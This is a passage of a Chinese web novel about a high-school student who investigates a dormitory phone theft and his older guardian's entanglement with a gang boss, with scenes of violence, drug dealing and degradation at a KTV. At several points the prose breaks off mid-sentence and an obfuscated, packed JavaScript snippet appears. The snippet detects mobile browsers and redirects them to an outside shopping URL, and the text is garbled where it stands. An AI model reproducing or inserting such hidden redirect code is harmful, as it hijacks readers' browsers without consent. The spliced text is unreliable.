这个室友孤僻冷漠到一定程度,非必要的话一个字都不说,不知道是不是错觉,白容生时而能从他身上感觉到一点微小的敌意。 当然,更明显的是徐桥对李舜的厌恶。或者说更像是某种嫉妒。 白容生可没多少道德和礼貌,他喜欢李舜,讨厌徐桥,立刻就做出决定。 “李舜,你把门从里面锁上。” 说着,白容生脱了鞋,就往徐桥上铺爬,“我看一眼他的东西。” 李舜踟蹰着觉得不太好,白容生爬在梯子上低头看他,突然用命令的口气说“听话”。他挠挠头,还是去锁上门。 床上摆着一只破旧的行李箱,两个盆,还有一个破了口子的布包。白容生拉开行李箱,里面放着几件冬天的衣服,散发出淡淡的陈旧味道。 他迅速摸了一遍,没发现手机,便拉上行李箱去看包。 砰! 宿舍铁门猛地一震,把李舜吓得都跳起来。白容生半跪在上铺,反应很快,立刻收回手从梯子下来。 老宿舍隔音条件一般,在重重一声砸门后,门外传来低低的声音:“开门。” 李舜下意识要应,白容生跳到地上还没站稳,就用沾灰的手捂住他的嘴,把他往床上一推,再随便用他床边挂的毛巾擦了擦手,说:“来了。” 打开反锁的门的响动瞒不住人,慢慢地,徐桥冷漠阴沉的脸露出来。他的镜片有些厚,轻度发黄,眼睛在后面和白容生对视。 白容生没说话,他也没说,目光向后看,在不大的宿舍里扫了一圈。 随后,徐桥径直走进宿舍,撞开白容生的肩膀。他好像是脚磨破了,低头坐下来贴创可贴。 李舜挣扎着想起来说话,白容生把他按回去,使了个眼色告诉他安静。 演戏总得演全套,白容生翻找出李舜带的某种据说抗热解暑清气养神的药包,放在杯子里加入热水泡上。水声停止后,徐桥穿好鞋子,突然说:“你们没有翻我东西吧?” “嗒”,水壶放回去。白容生拿着勺子搅了搅,才看他一眼:“谁翻你东西?” 他说得很平静,脸上还笑着,眼神轻飘飘的,却好像还带了点说不清道不明的讥讽。 这个眼神让徐桥的脸抽动一下,他忽然说:“狗仗人势。” 李舜实在不能再装死了,猛地弹起来:“你什么意思?” 白容生把水杯放下。 军训服挺薄,口袋里装着什么很容易看出来。现在徐桥口袋那边没有遮挡,他看见了钥匙和校园卡的轮廓。 而刚刚徐桥是直接砸门,没有钥匙开门的声音,所以……他预见宿舍门很可能会被反锁,用钥匙也开不开。 好像知道白容生和李舜回去会做什么一样。 心虚吗,还是别的原因? 白容生在崔盛眼里是好学生乖孩子,但说到底是在那种环境里长大的,气质与正常读书的学生截然不同。他脸色变化的时候,徐桥像被吓到了:“你想打架吗?” 盯了他片刻,白容生笑道:“别乱说,我可不会跟你动手。不过我还挺好奇你刚才那句话的,要不要一起去老师面前,你解释给我听听?” 静静对视后,徐桥冷笑一声,却没再开口。他拿着帽子离开宿舍,白容生看着被甩上的宿舍门,李舜问:“真的不叫老师吗?他怎么能这样骂你。” 白容生回身:“你还是尽快告诉老冯,你的手机丢了吧。不过我猜——很可能找不回来了。” 李舜:“啊?怎么确定的?” 白容生没有立刻说话。他直觉是徐桥拿的,并且手机已经被徐桥以某种方式处理了或者是藏起来,所以徐桥不怎么慌乱。 可他还是回了宿舍,为了确定白容生和李舜是回来找手机的? 晚饭时,白容生陪着李舜去了班主任办公室。 冯少平是典型的面狠心软,听见李舜说手机不见,当即拍板和李舜一起去宿舍找。为了防止出问题,他还叫上宿管一起,将白容生他们宿舍翻了一遍。 结果不出所料,宿舍里没有。 白容生站在一边,背靠着墙。徐桥站在另一个角落,捧着英语书念念有词,对所有人都是一概的爱答不理。 冯少平眉心紧皱,掏出手机就要联系主任。这个时候李舜却说:“老师,找不到就算了,我还有手机,那里面也没什么东西。我哥说等他放假回来再给我买一个。” 老宿舍楼,只有楼下有一个监控,还拍不全。近三天监控里出入宿舍的,没有一个陌生人,冯少平也没办法。 他晚自习回到班里就开了个班会,重点讲宿舍防盗和做人品德。下课的时候坐在白容生和李舜前面的男生回头,对他们挤眉弄眼。 “是不是你们宿舍那个偷的?” 李舜:“应该不是他,老师都没查出来。” 男生叫吴飞云,很能聊,和李舜一见如故。他闻言做了个夸张的表情,趴在桌子上竖起书本挡着:“你们不知道,我和徐桥是一个初中的。他以前手脚就不干净。” 李舜:“啊?” “你们不知道吗?他哥当年夜路抢钱,捅死过人,后面跑了,一直在被通缉。他呢在家里没人管,穷得很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168938|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他爸妈在外面偷鸡摸狗,他跟着偷别人的东西用。一开始偷同班的,后面被发现就去偷别的年级,最后偷到隔壁职高被人打了一顿,活该。” 吴飞云说着说着,合上李舜的笔袋:“不过他好像有什么门路,如果你没当场抓住他,那些东西就不知道被他怎么处理,很难找回来。你这好几只进口的笔,收好了,小心被他偷走。” 徐桥的家庭状况,冯少平开学时私下跟他们交代过,没想到还是个惯偷。白容生记下了李舜那个手机的具体信息,晚上躲去宿舍楼晾衣服的平台和崔盛讲这件事。 他穷得很,开学买的东西也没有多贵,并不怕自己被偷。崔盛在那边不知道担心什么,想让白容生换宿舍。 “宿舍这个不重要。”白容生说,“你先托人查查,最近二手市场有没有新出现这样的手机。” 崔盛应了,和白容生闲聊几句,马上到熄灯时间,白容生凑近话筒小声说:“晚安,哥。” “嗯。” 崔盛屈指弹开窗台上的烟蒂,这家KTV装修豪华,窗外却是陈旧的小巷,望去黑漆漆的,适合惩罚不听话的人。 他敲了敲窗户,楼下断续的殴打和呻\吟声才逐渐停止。 这里是叉子的新产业,开业这天,他亲自过来剪彩,开了头一瓶酒。 现在已经进行到夜场,一排的“公主”穿着各色衣服在包间内唱歌跳舞,卷了料的烟散发的味道,从门缝蔓延到走廊。 崔盛继续靠着窗呼吸新鲜空气,把白容生发来的短信再发送出去。还没弄完,身后门打开,有人叫:“盛哥,怎么出去就不回来了?” 屋里传出哄笑,崔盛回到包间,角落里不知道谁说:“盛哥还是个初哥呢,看到女人就躲,多有意思!” 笑声更大了,崔盛垂着头不为所动,拿新杯子倒了点苏打水喝。 坐在众人簇拥中央的叉子哈哈大笑,他忽然拿起话筒,醉醺醺地说:“崔盛!前几天你生日,哥没空给你过,今天晚上,这里的女人你随便挑,谁都不跟你抢,我也不跟你抢!” 崔盛端着杯子的手一定,冰块在玻璃杯里晃了圈,他说:“谢谢大当家,但是我确实对女人没兴趣。” “娘的。”叉子大声说,“不喜欢女的,你难不成喜欢男的?喜欢走旱路啊?” 包间里爆发了更大的哄笑,崔盛仰头喝下冰水,满脸格格不入的冷淡。 逗他没意思,况且除了叉子谁也逗不起他,很快调笑的重心就转移了。被抓出来的瘦弱男人陪着笑跪下喝酒,直到他喝不下,再被要求用后面喝。 崔盛起身远离旁边在地毯上惨叫呕吐的男人。食欲、□□、暴力,让这里的人群完全变成释放本能追逐快乐的动物,他只觉得这里的空气很恶心。 叉子架着腿在吸雪茄,招手示意他过去。崔盛走过去弯腰,在喧闹的背景音里听见他说:“你弟弟的事,老铁和我讲了……” 铁算盘就坐在叉子旁边,他端的酒几乎没喝,甚至手腕上还挂着佛珠。崔盛抬眼看向他的时候,铁算盘偏头看他,露出真挚的笑容。 那边叉子毫无水平的长篇大论终于结束,崔盛一句话都没听进去,只听见他最后说:“我认为你应该听你铁哥的话,咱们目光要什么,要长远,对,得想着后面怎么发展。我认识铁算盘后,才知道念过书的,就是跟文盲不一样,你弟弟这个学,必须得好好读下去。” 崔盛目光闪了闪,他正想即使激怒叉子也要拒绝,然而叉子夹着雪茄的手落在他肩膀,“话说那个洗头房出事后,我让人看了下你弟的户口,可能有点问题。也就是说,等学校那边确认户口和什么……学籍的时候,他可能会变成黑户,对吧?” 最后一句,叉子问的是铁算盘。看铁算盘点头后,他说:“我想着呢,直接我找警察那边的人,把他户口弄到你名下,正儿八经是你的弟弟了,你就是户主,挂在我给你的房子下面,怎么样?” 崔盛的表情,不易察觉地变化了。 叉子沙哑地笑出声,重重拍了他一下,“住校多辛苦,你也放不下他,一中旁边那房子我买下来了,你明天去登记成你的名,好好陪你弟上学。我能拿下这里,当初还是多亏你,你把对面吓得没一个敢上来迎战的。” 铁算盘在旁边适时恭维:“他就是大当家的吕布啊。” 崔盛的头低着,肩膀深呼吸的起伏很明显。他没有丝毫拒绝的底气,因为那天冯少平专门叫住他,和他单独说了白容生的户口问题。 也不知道之前白容生读初中时候是怎么搞的,他的户口和档案很乱,假如不处理好,就算在一中读完高三,都不能参加高考。 崔盛在送白容生上学之前都没进过高中的门,哪里能清楚这些该怎么办。铁算盘和叉子精确地踩中他的痛点,开出了无法拒绝的筹码。 16. 第 16 章 军训表演结束的时候,整个操场都开始欢呼,不少人直接就坐了下去。白容生嫌弃脚下脏,站着摘下帽子擦了擦脸,李舜倒是撑不住了,坐在地上喘气,顺手拍了拍他的腿。 “中午我家里来人,你还有吴飞云,跟我们一起出去吃饭吧?” 白容生摇头:“我和我哥一起,他中午来接我。” 李舜:“这有什么,叫上你哥一起啊,咱们凑个大桌,多点俩菜。” 白容生犹豫了几秒,说:“我问问他吧。” 队伍还没完全解散,后面是各班班主任过来在操场开小班会,讲讲之后的安排。白容生就走到操场边,躲开老师给崔盛发短信。 等回复的时候,他靠着树漫不经心地乱看,目光忽地一顿。 徐桥半垂着眼从操场外走回来,也看见了白容生。他没说话,嘴角扯了扯,快步走了过去。 自那次微妙的冲突后,徐桥彻底和白容生他们“孤立”开,差不多没说过一个字。而就在昨晚,白容生熄灯前出去和崔盛通话时,崔盛告诉他,在北城区的二手市场,查到了两个同牌子同颜色的手机。 其中一个手机的数据还没清除,打开后发现,正是李舜的。 那个手机被崔盛扣下了,今天来学校的时候再还给李舜,只是时间太紧,更多信息要等今天见面说。 崔盛对热情的李家人心有余悸,况且他更想和白容生单独相处聊天,不过手机是李舜的,他思考后认为,应该帮助白容生和同学打好关系。 李舜家里开了两辆车过来,早已在学校附近的一家酒店订好了包间。崔盛匆匆赶来,在铁算盘那里提了两瓶酒,当作谢礼。 白容生被迫和李舜的几个家长挨个问好,看见崔盛,松了口气过去:“哥,你来了。” 崔盛仔细地看了看他的脸:“你晒黑了一点。”又变成当时刚从海滩回来的样子。 白容生满不在乎,“这样总不会被认成女生了。” 崔盛对他笑笑,等他寒暄完把酒放下,凉菜都上齐了。他把手机递给白容生,白容生接过去塞给李舜:“看看是不是你的?” 手机上的挂坠还在,李舜忙说“是我的”,随后惊讶问:“白容生,你真是神了,怎么找到它?” “我哥在二手市场找到的。” 崔盛说:“运气好,认识的人在市场看到了同一型号的,里面东西也没删。好在找回来了,知道是谁拿的吗?” 没有证据,即使徐桥再可疑,他们也不能直接给人定罪。白容生、李舜和吴飞云三人无可奈何,崔盛手指敲了敲桌面,沉吟后说:“我再问问看,那个店主是从哪里收来的这个手机。” 帮李舜拿回手机的崔盛成功成为今天桌上的功臣,加上他已经成年,不得不跟着一杯杯喝酒。纵然他酒量不错,饭局结束后眼神也有点发直。 白容生给他倒了杯茶,追上李舜,要把两个人的饭钱悄悄塞给他。李舜坚决不收,握住他的手诚挚表示:“容生,你跟你哥都是大好人,连手机都能帮我找回来,今天这顿饭必须我们家请你,别客气,尽管吃!” 说完,还从他妈妈手中接过专门给白容生打包的一盒香辣蟹,硬是让白容生收下。 白容生推辞不掉,提着螃蟹回去叫崔盛起身。崔盛用茶水漱口后清醒了点,和白容生在路边人行道上慢慢走着。 “我们不回去?”白容生有点惊讶。 军训完有一天半的休息时间,走读生收拾东西回家,住宿生回家需要和班主任请假。白容生和李舜都回去,虽然崔盛家里那张床也是旧床,但比宿舍的舒服多了。 崔盛犹豫不决,罕见地迟疑好久才说:“我们搬家,可以吗?” 白容生沉默片刻,站在崔盛前面上下打量他,心里一时间有许多不好的猜测,最后他先问最要命的问题:“哪来的钱?什么房子?” 话一旦开始说出口,后面就容易多了,崔盛坐在一处台阶上,玩着打火机,简单将事情讲了一遍。 “搞什么。”白容生一头雾水,“这就预定我之后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168939|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要给他们做事了?我这辈子有这么便宜吗?” 崔盛看他笑了笑,白容生拍了下他的膝盖:“你答应了?” “白送的房子,我去看过了,是装修过的二手房,收拾收拾就能住。这些钱对他们来说不算什么,但是能让你舒服很多。” 崔盛看着蹲在他面前的白容生,“你不用给他们做事,去远远的地方读书,再也别回来,他们抓不到你的。” 白容生狐疑地看了他一会,崔盛道:“你以为我会把你卖了?” “没有,哥,我还是相信你的。”白容生叹口气,“你怎么办?你跟我一起走?” 崔盛随意点头:“我在哪里都行,无所谓。” 户口和档案的事崔盛没说,他不想让白容生去关心多余的事。白容生则想,崔盛毕竟还要在叉子手下干活,最起码现在,他们违抗不起。而且根据叉子的安排,崔盛勉强算是有了份工作,总比不分黑夜白天地做打手强。 “房子有些地方还要再装修。”崔盛起身,顺便把白容生拉起来,“你先继续住校,大概十月或者十一月,就可以搬过去了。” 下午白容生和崔盛一起去看了看房子,宽敞的三室一厅,采光很好,其中最小的卧室被上一任主人改造成书房,崔盛觉得正合适。 即使知道这是糖衣炸弹,白容生也被外面的糖果迷得有些心动。随即他提醒自己这些都是有代价的,突然觉得前面的三年很漫长。 他对他本身缺乏一个可靠客观的自我评价,尽管明白能考上一中全靠他自己的努力,可还是会时不时产生一种虚幻的错觉。冯少平开了几次大小班会,经常强调高中和以前不一样,中考高分进来,高一没结束就跟不上节奏的大有人在,让他们不要自高自大。 白容生深知身后没有退路,他只有成功这一个选择。 如果失败了呢?如果他根本没有那个能力,还自觉非同一般,其实不堪一击呢? 白容生肩膀有些紧绷,他看着崔盛的背影默默发誓:一定要赢。 17. 第 17 章 “班长呢?班长过来一下。”冯少平大课间的时候悄无声息出现在后门,敲了敲门板,“月考成绩出来了,来拿成绩单,贴后黑板上。” 本来热闹的教室哗一下静了两秒,班长汗流浃背地承受着全班的目光,赶紧小跑出去。 九月初,按理是刚刚开学的时候,但一中已经上了大半个月的课。高一虽说有军训耽搁,课程都不到半个月,也要和高二高三一样,进行第一次月考,即本学期的开学摸底考。 不少人暑假里都已经补了一部分高一的课程,可前两天考试时拿到试卷,全部两眼一黑,无助绝望。 哪怕是普通班,考上的学生成绩也都不差,结果被月考搞得死气沉沉。现在他们还没缓过来,成绩竟然已经出来了。 五分钟后班长拿着成绩单跑回来,立刻拥有万众瞩目的待遇。他叫了班里两个个子最高的,帮忙把成绩单贴在教室后面,下面围了一圈人在看。 “这么狠。”李舜咂舌,“名字分数排名公开处刑啊,我都不敢看了,那数学我简直是交了白卷。” 他身材矮胖不灵活,很有自知之明地没去凑热闹。吴飞云兴致勃勃,拿着草稿纸去抄成绩了,只有他旁边的白容生仍旧淡定,转着笔写作业。 李舜:“小白,怎么这么冷静,你是不是考得很好?” “好个屁。”白容生冷静回答,“我也不会,考都考完了,就那个分,急也没用。” 正说着,吴飞云挤开人群回来了,扬着手中的纸:“我把你俩的分也抄了,你们看下?” 李舜嘴上骂他,脸还是诚实地凑近看,很快就夸张地说:“白容生,你数学比我好多了你还装!” 由于高一上的课太少,这次月考就考了语数外三门。整体看,全班的分数都挺惨不忍睹的。 白容生的语文勉强是班级平均分的水平,英语比平均分差了不少,唯一能看的就是数学,算是班里还不错的,能排进前几名。 和他相反,李舜和吴飞云在那里哭天喊地那么久,反而语文英语都考得挺好,作文还被语文老师划了几个优秀句子。唯一总成绩在班里倒数的吴飞云悲愤莫名,怒骂他俩是叛徒。 数学拉分很容易,白容生靠着数学排到班级中游的位置,他和自己中考分数在班里的名次比了比,发现倒退不少。 成绩不焦虑是不可能的,白容生往桌面上一趴,有点不想把成绩发给崔盛看。 以前除了他自己,没人在乎他的成绩怎么样,有没有进步,他再要强只有给自己看。现在有崔盛在乎他的分数,哪怕崔盛可能不怎么懂,白容生心里更要面子,容不得一点退步。 晚自习的时候,英语老师把班里英语倒数的人叫出去谈话。等白容生被叫出去,才发现徐桥只比他高一分,和他一起被谈话。 英语老师是年轻的女老师,即使晚上也带着妆,她课上课下态度都很严厉强势,说:“我把你俩一起叫出来,是知道你们都是下面初中升上来的,一般你们这种孩子英语基础都不好。刚开始没考好不算什么,现在正式开学,之后我会严格查你们的读背默写,做好准备。” 通常一中的初中部和附近两三所初中是一中高中部的主要生源学校,其余的学校,无论北城区白容生读的初中还是更偏远的徐桥的初中,统一都被称为“下面的”学校。 白容生老实点头,他还是头一次碰上这么认真负责的老师,感觉有些稀奇。等从后门回教室的时候,他瞥了眼成绩单,发现徐桥和吴飞云排在一起,都是班级倒数。 手机找回来后,李舜大大方方将旧手机摆在桌上,谁进宿舍都能看见的位置。徐桥通常是在教室留到最后,一般他回宿舍的时候,白容生和李舜都洗漱完了。 那晚他进门看见李舜的手机后,脸色有一瞬间十分难看,控制不住僵硬地看向李舜和白容生的床。 李舜正躺着和家里人打电话没有在意,白容生坐在床头看书,敏锐察觉到带着恶意的视线,转头和徐桥对视。 就像故意挑衅或是嘲讽他一样,白容生还弯起嘴角,那张俊秀的脸露出冰冷的微笑,看得徐桥咬住牙关。 不过或许那个无声的示威有用,之后,他们宿舍风平浪静,没再丢过东西。 只是……白容生略微走神,徐桥人品不行,学习上还是很用功的,一直是班里最早到最晚走的人,课间也都在看书。怎么排名是倒数? 但徐桥的事白容生并不上心,稍微想了想就抛之脑后。他回去按照老师发的答案订正了英语试卷,看着语法和那些陌生单词就大脑发麻。 幸好下节课是数学,白容生对着数学答案,将不会的题重新做,边做边画标记,等着明天讲试卷的时候重点听。 他晚上趁着熄灯前的小段时间和崔盛通话,崔盛对成绩和排名没有概念,听白容生语气低落,就有些生硬地夸奖他做得很好了。白容生应了,忽然发现心里竟然产生某种类似想念的情绪。 想回到那间卧室,躺在褪色的床单上,和崔盛一起什么也不做,单纯听着风扇转头时的吱呀声音直到睡过去。 他觉得很陌生,又听崔盛说,下个月就可以搬进一中旁边的房子,到时给他办退宿,省得他继续和小偷住一起。 白容生心里慢慢定下,挂了电话回到宿舍。 李舜知道他之后要搬走,探出头问:“小白,你那个道上的哥什么时候接你走?你要走我也换宿舍,天天对着徐桥那张脸我都觉得晦气。” “可能期中考试之前就走。”白容生说着,看了眼时间,“不是要熄灯了吗,他还没回?” 话音刚落,宿舍门传来钥匙拧动的声音。白容生和李舜对视一眼都不说话了,他躺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他思考后没说,摇摇头:“我知道了,老师,这件事就先算了,如果后面再有这个情况……” 冯少平也很为难,“学校没钱装监控开监控,实在没办法。你先把你东西收好,我开班会时候讲讲这事,大家到了新环境,都会不适应的。” 白容生点头,没再说话,心中对于徐桥的厌烦又多了一层。 崔盛通过在二手市场打听,得知手机是从一中的学生那里卖出来的,但最开始接手的人不清楚卖家身份,纯粹是卖得便宜他就收了。 证据不足,如果徐桥老实,白容生依着李舜的意思便不再追究,反正他下个月就搬走。但徐桥再次犯病,他想总得给一个教训。 18. 第 18 章 “崔哥。” 崔盛将卷帘门“哗”地拉下,弯腰上锁,背对着身后的男人:“说。” “大当家今晚要来这边和西城的老板吃饭,让哥你过去跟着,金华饭店三楼。” 叉子通知许多事都喜欢叫手下的人传话,因为他认为手机里说会被电话公司的人窃听。崔盛看了眼时间,已经晚上六点,走到旁边借隔壁店的水龙头洗手:“我知道了,马上就去。” “哥,来不及了,我直接摩托带你过去。” 崔盛拒绝了这个瘦小的司机,戴上头盔:“你指路,我开车,走吧。”同时他心里啧了下,今晚不能去买床单了。 C市秋天来得很早,气温下降明显。那套二手房已经处理得差不多,崔盛再修补修补,通通风,就能接白容生回来住。 他已经很久没有这样期待过一件东西或者说一个目标,并愿意为此付出一切,以至于在这家洗车店无聊看店的日子,都觉得很有盼头。 只要把白容生从这里送出去,那就是天高任鸟飞,他不信叉子有那么大本事还能把白容生抓回来。 这边超出了叉子的势力范围,又是重点高中附近,是中立地盘之一。很多时候,各个区的大混混谈事,都会选择类似的中立地方聊。 金华饭店不远,崔盛娴熟地停车,摘下头盔随口问:“和哪个老板谈?” 矮瘦的男人忙说:“贾大海贾老板。” 崔盛动作一顿,侧头看他:“贾大海?” 男人讨好地对他咧嘴一笑。虽说崔盛明面上看好像是被驱逐出了叉子身边,但叉子再三重复,崔盛有要务在身,背负着他的期望,让他们都放尊重点。 他说:“那没办法,咱们这里拿货大部分都要经过贾老板的手,不谈不行啊。” 贾大海,在C市地下市场名声远扬。他手里的货很多,门路也多,不仅活了这么久,还身家丰厚,类似叉子这样的,提到他背后咬牙切齿,却还是得和他打好关系。 崔盛捏着手指,心说叉子的生意终于做开了。 按照C市江湖的传统规则,三五年后,叉子将死在另一个后辈挑战者手中,或者在风光无限的时候被仇家杀死。如果能够在白容生高考后死就最好不过了。 他匆匆进去换衣服,东西藏在大一码的西装外套下面,装模作样地站在电梯口。 电梯开了,叉子裹在紧绷的西装里,手边是一位其貌不扬、头发半白的老头。他脸上却没有多少皱纹,还对崔盛笑着点头,和叉子一起走进里面的房间。 崔盛的任务不重,叉子现在身边换了新人,都是他这段时间一手提拔起来的“自己人”。他守在房间外,低头用手机给白容生发短信,问他今天怎么样。 两人的短信往来充满了类似的无聊内容。白容生会在课间或者晚自习发点抱怨食堂难吃或者上课跟不上的短信,崔盛就告诉他学校附近的几家店也不好吃,洗车店很无聊以后千万不要做这种工作。 偶尔遇到比较贵的车,崔盛就会问白容生以后发达了能不能买得起。白容生很大方,表示只要哥想要,他肯定买最贵的,随后两人便沉浸在买豪车的幻影里。 为了更实惠地发短信,崔盛专门买了短信套餐。 不过白容生没立刻回他,看时间可能准备上晚自习,崔盛有些无聊,就开始翻他们之前的短信。 没回消息的白容生正在办公室挨训。 他们的英语老师是隔壁班班主任,晚饭在办公室吃,吃完还能改半个班的作业。白容生刚从食堂回来就被叫过去,让他数班里少收了几份作业。 原本英语课代表是白容生前面的女生,但是她九月刚开始把腿摔坏了,既不能收发作业也不能跑办公室。英语老师随手一点,坐在后面的白容生就荣升为英语课代表。 马文静一直要求严格,白容生没收齐作业已经加了纸条说明情况,还是被叫去办公室当面询问。 “这个同学今天请了病假,李舜的刚刚补交我带过来了,还有……”白容生看着纸条,“徐桥他不交作业。” 上周的小测,白容生靠李舜的帮助,不太光彩地摆脱了全班英语倒数十名,不用被马文静多加作业。徐桥英语排倒数第十,除了常规作业还有一份抄写,他都没交。 “什么情况?” “就是不交作业。”白容生如实回答。 马文静的眉竖了起来:“胆子不小,你回去叫他,让他来跟我聊聊为什么不交。去吧。” 徐桥何止是不交作业,对白容生是完全不搭理。白容生更不想惯着他,见他不交,直接写了纸条。 然而徐桥去了办公室十多分钟后,忽然回班,叫李舜出去。 白容生觉得不对劲,等第一节晚自习过了大半,李舜低着头进来扯了扯他的袖子。 他诧异发现,李舜竟然哭了。 “怎么了?”走出教室,白容生顺手在最后一排的同学那里给李舜抽张纸,“哭什么?” 李舜眼泪汪汪地说:“小白,兄弟太对不起你了,我把你供出去了……” “供我什么?” “英语考试的事……”李舜忧郁地说,“简直是轮番审讯,高压酷刑,我实在抵挡不住。” 白容生不介意这个,他本意只是逃避抄写作业,被发现了更不会怪李舜:“没事,反正是我要抄你的,是我的错,不过怎么突然……徐桥说的?” 李舜悲痛表示:“奸人所害啊!” 话说着,走到办公室门口,他们都住嘴了。白容生作为主犯,老实地敲门进去,被马文静瞪了一眼。 冯少平也在,正和徐桥说着什么。白容生走到马文静桌前,立刻镇定认错,心理素质比旁边还在哭的李舜好了不知道多少倍。 马文静和他的班主任对视一眼,凭借丰厚经验立刻确定,这也是个难搞的学生。和那种一眼看过去就知道难搞的学生不一样,白容生伪装程度十分之高,从脸到神态都是好学生的模板,必须得细看,得遇上事,才能发现他和大部分同学不一样。 他不抵赖,那便没什么好说的。马文静道:“一个徐桥不交作业,一个我的课代表考试打小抄,你说你们怎么能搞出来那么多事,啊?李舜你更是,考一次高分了不得,还给别人抄,他考试你去替他写算了。” 徐桥和白容生都收到了加倍的英语作业,白容生心里叹气,眼看着马文静准备让他们回去,徐桥忽然说:“老师。” “怎么?” “老师,他这样的,也可以做英语课代表吗?我以为课代表最少要成绩好。” 马文静抬头看他,冷淡地说:“徐桥,你要记住,作业是为你自己写的,交最后也是交到我手里,不是交给课代表。高中生了,成熟点,同学之间闹矛盾,就不交作业了?” 徐桥抿住嘴唇,不出声。 白容生心里却很失望,他根本不想干课代表这种只有苦力没有多少好处的活,如果徐桥能帮他推掉,他还得说谢谢,但是没有成功。 他赶着回去写作业,徐桥被冯少平叫过去继续聊,白容生压根没在意。 晚自习结束后白容生终于有空回崔盛的短信,没提晚上的小插曲,照旧骂一次食堂,再告诉崔盛,学校要补齐信息和档案,否则会影响学籍。 这个时间崔盛通常都没事,和白容生说话后就会睡觉。可直到白容生躺下,手机都没动静。 今晚有事吧?崔盛应该不会回去再做打手的活。 尽管这么想,白容生还是又问了句,没等到回复,握着手机睡着了。 崔盛感受到口袋里的震动,根据墙上时钟,应该是白容生回宿舍睡前回复他。知道白容生如常回他消息,他心里就不焦虑了。 包间里的饭局仍旧没有结束,酒气浓重,崔盛将窗户推开一点通风,漫不经心转着面前没有尝过的酒杯。 饭局到一半的时候,包间里抬出一个头破血流、没有动静的男人。崔盛神经绷紧,就被叫了过去。 他看清那个被拖出去的男人,干瘦地穿着过于宽松的外套,正是被叉子吩咐过来接他的人。 他得罪了贾大海,被花盆砸破了头,像条死狗一样被扔出门。 崔盛像个合格的布景,进去后不说话也不乱看。不过叉子和贾大海的交谈难以屏蔽,贾大海手里有从南边弄来的“新药”,效果好,质量稳定,成本还低,叉子想从他这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168941|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多拿点货,最好整个北城区,只给他一人。 这里面牵扯到的利益巨大,两人还在闲扯。崔盛走神地想叉子也不怕撑死,赚这些缺德钱。 果然,最后没有谈成。叉子在贾大海面前还能保持和颜悦色,等贾大海被司机接走后,他恶狠狠地把身旁花瓶一脚踢翻。 “娘的!”叉子连骂好几句,扯开领带喘气,叫崔盛过来,“在这C市,我还差得远,我都这样,你们更是没人看得见的小喽啰!要是整个北城区、整个市都在我手里,他贾大海敢在我面前放屁吗?崔盛!” 被点了名,崔盛再上前一步,低着头叫“大当家的”。叉子语重心长地拍拍他的肩膀,“我现在不得不服,不是之前有把刀有个胆子就能闯天下的时候了。假如那种药咱们自己能做,该是他贾大海来求我们。你那个弟弟,一定要好好培养。” 培养什么,培养成毒贩吗?白容生那么小的时候,他的母亲就变成一具因为吸毒而溃烂的尸体,他怎么可能去做毒贩? 崔盛心底抑制不住地冷笑,面上还必须恭顺:“我明白。” “房子什么时候搬过去?手续都办好了吧?”发泄完怒火后,叉子重新变得像一位贴心稳重的兄长,搭着崔盛在路边走了几步,“有问题都及时和我说,我不清楚,二当家也清楚,千万不要耽误孩子。” “嗯,不会的。” 叉子也离开后,崔盛吹着夜风,独自顺着马路向前走。他最近都在一中旁边的房子里住,支着从原来房子里带过去的折叠床。 也不知道走了多久,前方出现建筑物模糊的轮廓。崔盛辨认一番,发现他上个路口拐错方向,绕到一中后门这里来了。 果然还是被气得脑子有些不清楚。 他这么想着,站在一中墙外点了根烟,四下里黑漆漆的,只有一点橙红的火光。 崔盛提了提神,打算从一旁的巷子里穿过去。他沿着墙没走几步,忽然听见前面拐角后有声音。 下意识的,崔盛停住脚步掐灭烟,有些奇怪。 他只听见模模糊糊几句简短的交谈,之后便是脚步声。崔盛等了等,继续向前走,眼前一亮。 刚刚交谈的人其中之一,骑上路边停着的电瓶车,拧亮车灯后,正好照见崔盛。 他好像没想到这里会突然出现一个人,车灯直直照着崔盛的脸。崔盛抬手挡住眼,心里顿时很不耐烦:“照什么呢?” 车灯移开了,那人却没骑上车走,而是不确定地问:“崔……你是崔盛,崔盛哥,对吧?”说了一半跟怕不够尊重似的,补上一句假兮兮的哥。 崔盛不在意,走近两步回忆后,说:“是你啊。” 